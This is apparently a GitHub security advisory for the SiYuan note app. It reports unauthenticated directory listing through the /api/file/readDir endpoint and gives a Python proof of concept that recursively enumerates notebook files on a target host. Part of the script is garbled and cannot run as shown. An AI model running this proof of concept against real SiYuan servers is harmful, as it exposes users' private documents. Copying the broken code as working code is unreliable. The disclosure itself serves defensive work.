GHSA-xmw9-6r43-x9ww SiYuan has directory traversal within its publishing service

• Go github.com/siyuan-note/siyuan/kernel: <= 0.0.0-20260317012524-fe4523fff2c8 (no fix yet)

Details The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook. PoC ```python !/usr/bin/env python3 """POC: SiYuan /api/file/readDir 未鉴权目录遍历""" import requests, json, sys def poc(target): base = target.rstrip("/") url = f"{base}/api/file/readDir" def read_dir(path, depth=0, max_depth=4): try: r = requests.post(url, json={"path":path}, headers={"Content-Type":"application/json"}, timeout=10) data = r.json() except Exception as e: return if data.get("code") != 0: return entries = data.get("data") or [] for entry in entries: name = entry.get("name","") if name.startswith("."): continue icon = "📁" if entry.get("isDir") else "📄" indent = " " * depth print(f" {indent}{icon} {name}") if entry.get("isDir") and depth 1 else "http://172.18.40.184") ``` Impact Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading. 资源文件夹 插件文件夹 conf文件夹